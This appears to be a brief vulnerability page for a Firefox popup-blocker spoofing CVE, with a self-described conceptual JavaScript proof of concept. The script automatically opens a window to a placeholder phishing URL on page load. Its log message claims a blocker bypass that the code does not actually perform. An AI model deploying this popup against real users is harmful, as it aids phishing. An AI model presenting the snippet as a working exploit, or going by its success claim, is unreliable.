CVE-2026-8964 Firefox弹窗拦截器欺骗漏洞

<!-- PoC Code for CVE-2026-8964 --> <!-- This is a conceptual demonstration of a Popup Blocker bypass --> <script> // Function to attempt opening a spoofed window function triggerSpoof() { // The attacker's malicious URL designed to look like a trusted site var targetUrl = "https://attacker.example.com/phishing.html"; // Attempt to open the window // In a real exploit, specific timing or API abuse would be used here var win = window.open(targetUrl, '_blank', 'width=500,height=500'); if (win) { console.log("[+] Popup Spoofing Successful: Window opened bypassing blocker."); // Additional logic to manipulate the window could go here } else { console.log("[-] Popup Blocked."); } } // Trigger the attempt automatically on page load window.onload = function() { setTimeout(triggerSpoof, 1000); }; </script>